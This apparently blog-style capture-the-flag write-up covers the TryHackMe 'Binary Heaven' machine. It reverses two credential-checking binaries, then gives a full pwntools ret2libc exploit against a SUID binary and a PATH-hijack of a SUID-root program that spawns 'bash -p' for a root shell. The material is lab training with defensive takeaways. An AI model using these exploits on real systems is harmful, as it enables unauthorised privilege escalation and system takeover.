Summary
A locked-down TryHackMe box gating SSH access behind two credential-checking binaries: a small C program with an anti-debug/obfuscated string comparison, and a statically linked Go binary hiding a plaintext password in .rodata. Static reverse engineering in Ghidra and GDB recovers both credentials and yields SSH access as guardian. From there, a 32-bit SUID binary with no stack canary is exploited via classic ret2libc (using a libc address the binary leaks for free) to escalate to binexgod. Finally, a root-owned SUID binary that calls system() with an unqualified echo inside /usr/bin/env is abused via PATH hijacking to spawn a root shell, despite the binary's attempt to drop privileges beforehand.
See the Complete Attack Chain at the end for the condensed version of the whole path.
Overview
Machine: Binary Heaven
Attacker IP: 10.x.x.x (Kali)
Target IP: 10.49.188.50
Recon
Downloaded and unzipped the provided credentials archive:
unzip credentials_1614324056485.zip
file angel_*
angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go binary), not stripped
Two binaries - a small C program and a Go program - both gating some kind of login prompt.
Stage 1 - angel_A (Anti-Debug + Obfuscated Username Check)
strings angel_A showed the binary calls ptrace, and the prompt text gave away the anti-debug gimmick directly:
Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ
Say my username >>
That is not my username!
Correct! That is my name!
Loaded the binary into Ghidra rather than fighting the check live in GDB - since the process never gets ptrace'd by us, the self-detection branch never fires, and static analysis sidesteps it entirely.
Decompiling main()
lVar1 = ptrace(PTRACE_TRACEME,0,1,0,param_5,param_6,param_2);
if (lVar1 == -1) {
printf("Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ/n%22");
exit(1);
}
printf("\x1b\36m\nSay my username >> \x1b\0m");
fgets((char *)local_15,9,stdin);
local_c = 0;
while( true ) {
if (7 < local_c) {
puts("\x1b\32m\nCorrect! That is my name!\x1b\0m");
return 0;
}
if (*(int *)(username + (long)local_c * 4) != (char)(local_15[local_c] ^ 4) + 8) break;
local_c = local_c + 1;
}
puts("\x1b\31m\nThat is not my username!\x1b\0m");
Not a plain strcmp - a byte-by-byte loop comparing each input character, transformed as (input_char ^ 4) + 8, against a global array username, stored as full 4-byte ints rather than a packed char[] (visible in the listing as 6b 00 00 00 79 00 00 00 ...).
Extracting and inverting
00104060 6b 00 00 00 79 00 00 00 6d 00 00 00 7e 00 00 00
68 00 00 00 75 00 00 00 6d 00 00 00 72 00 00 00
Low bytes: 0x6b 0x79 0x6d 0x7e 0x68 0x75 0x6d 0x72
raw_bytes = [0x6b, 0x79, 0x6d, 0x7e, 0x68, 0x75, 0x6d, 0x72]
password = ''.join(chr((b - 8) ^ 4) for b in raw_bytes)
print(password)
guardian
Confirmed:
./angel_A
Say my username >> guardian
Correct! That is my name!
Username: guardian
Stage 2 - angel_B (Go Binary Password Check)
strings angel_B was too noisy (full Go runtime symbol table, GC internals). Went straight to GDB:
gdb ./angel_B
(gdb) info functions
Surfaced main.main cleanly. Disassembled it:
mov 0x40(%rsp),%rax
mov 0x8(%rax),%rcx
mov (%rax),%rax
cmp $0xb,%rcx # length check == 11 (len("GOg0esGrrr!"))
je 0x4a54a1
...
0x4a54a1:
mov %rax,(%rsp)
lea 0x2585f(%rip),%rax # 0x4cad0b <- reference string address
mov %rax,0x8(%rsp)
mov %rcx,0x10(%rsp)
call runtime.memequal
Go string comparisons compile to a length check (0xb = 11 bytes) plus runtime.memequal against a .rodata pointer.
gdb -batch -ex 'x/s 0x4cad0b' ./angel_B
0x4cad0b: "GOg0esGrrr!Ideographic..."
The confirmed 11-byte length gave the exact cutoff.
Password: GOg0esGrrr!
Confirmed:
./angel_B
Say the magic word >> GOg0esGrrr!
Right password! Now GO ahead and SSH into heaven.
Initial Access - SSH as guardian
ssh guardian@10.49.188.50
# password: GOg0esGrrr!
guardian@heaven:~$ id
uid=1001(guardian) gid=1001(guardian) groups=1001(guardian)
Flag 1
cat guardian_flag.txt
THM{REDACTED_GUARDIAN_FLAG}
Privilege Escalation - guardian to binexgod
Enumeration
ls -la
-rwsr-sr-x 1 binexgod binexgod 15772 May 8 2021 pwn_me
Setuid/setgid binary owned by binexgod. .python_history hinted at prior buffer-length fuzzing ('A'*32, 'A'*55).
file pwn_me
pwn_me: setuid, setgid ELF 32-bit LSB shared object, dynamically linked, interpreter /lib/ld-linux.so.2
checksec --file=pwn_me
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
No canary + NX enabled -> classic ret2libc target.
Finding the Overflow
./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7df4950
The binary leaks a live system() address on every run - no need for a separate leak primitive.
gdb ./pwn_me
(gdb) info functions
(gdb) disassemble vuln
sub $0x24,%esp
...
call <fgets/read equivalent>
vuln() reads into a small fixed buffer with no length check.
gdb ./pwn_me
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'BBBB')")
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip
eip 0x42424242 0x42424242
Offset to return address: 32 bytes
Building the ret2libc Chain
ldd pwn_me
# libc.so.6 => /lib32/libc.so.6
readelf -s /lib32/libc.so.6 | grep " system"
# 1457: 0003a950 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
strings -a -t x /lib32/libc.so.6 | grep "/bin/sh"
# 15910b /bin/sh
libc_base = leak - 0x3a950
binsh_addr = libc_base + 0x15910b
from pwn import *
p = process('./pwn_me')
p.recvuntil(b'System is at: ')
leak = int(p.recvline().strip(), 16)
log.info(f"Leaked system(): {hex(leak)}")
libc_base = leak - 0x3a950
system_addr = leak
binsh_addr = libc_base + 0x15910b
payload = b'A' * 32
payload += p32(system_addr)
payload += p32(0x41414141)
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
Since pwn_me is SUID/SGID binexgod, the spawned /bin/sh inherits those bits:
whoami
binexgod
id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)
Flag 2
cat binexgod_flag.txt
THM{REDACTED_BINEXGOD_FLAG}
Privilege Escalation - binexgod to root
Enumeration
ls -la vuln
-rwsr-xr-x 1 root binexgod 8824 Mar 15 2021 vuln
SUID root, group binexgod. Source was readable:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo Get out of heaven lol");
}
./vuln
Get out of heaven lol
The Vulnerability
The binary drops privileges via setresuid/setresgid before calling system() - but since it's SUID root, geteuid()/getegid() already return 0, so those calls re-affirm root instead of dropping it. system() is still called with /usr/bin/env echo ...: an absolute path to env, but env resolves echo via $PATH search, not a hardcoded location.
which env
# /usr/bin/env
echo $PATH
# /home/guardian/bin:...:/usr/bin:/sbin:/bin:...
Exploitation
mkdir -p /tmp/evil
echo '#!/bin/bash
/bin/bash -p' > /tmp/evil/echo
chmod +x /tmp/evil/echo
export PATH=/tmp/evil:$PATH
./vuln
env's echo lookup resolves to the attacker-controlled script, spawning a root shell (bash -p preserves the elevated UID/GID):
root@heaven:/home/binexgod# whoami
root
Root Flag
cd /root
cat root.txt
THM{REDACTED_ROOT_FLAG}
Complete Attack Chain
angel_A (Ghidra static analysis, bypass ptrace anti-debug)
-> decompile obfuscated byte-transform check
-> invert (input^4)+8 transform on hardcoded username array
-> guardian
angel_B (GDB, info functions -> main.main disassembly)
-> length check (0xb) + runtime.memequal against .rodata pointer
-> dump reference string at leaked address
-> GOg0esGrrr!
SSH as guardian (guardian:GOg0esGrrr!)
-> FLAG 1 (guardian_flag.txt)
Enumeration -> pwn_me (SUID/SGID binexgod, no canary, NX enabled, leaks system() address)
-> gdb: vuln() unbounded read, offset to EIP = 32 bytes
-> readelf/strings on /lib32/libc.so.6 -> system() offset + /bin/sh offset
-> ret2libc payload: padding + system() + junk_ret + /bin/sh
-> shell as binexgod
-> FLAG 2 (binexgod_flag.txt)
Enumeration -> vuln (SUID root, binexgod group)
-> source shows setresuid/setresgid "hardening" that re-affirms root (already root via SUID)
-> system("/usr/bin/env echo ...") resolves "echo" via $PATH, not hardcoded
-> PATH hijack: /tmp/evil/echo -> /bin/bash -p
-> export PATH=/tmp/evil:$PATH; ./vuln
-> root shell
-> ROOT FLAG (root.txt)
Key Takeaways / Exploit Notes
- Anti-debug checks (ptrace self-detection) can often be bypassed entirely by static analysis instead of live debugging - no need to patch or defeat the check if you never attach a debugger.
-
Go binaries are statically linked and symbol-heavy;
info functions/disassemble main.mainin GDB is far more useful thanstringsalone for locating comparison logic. - No stack canary + NX + leaked libc address = ideal, low-friction ret2libc scenario; no need to brute-force or leak libc via a separate format string bug since the binary handed us the address directly.
-
SUID binaries calling
system()/unqualified binary names are a PATH hijacking goldmine - always checkstrings <suid_binary>for shell-outs and enumerate$PATHwrite permissions. -
Privilege-dropping calls that run after the process already holds the target privilege don't drop anything -
setresuid(geteuid(), ...)on a SUID-root binary just reasserts root.
Top comments (0)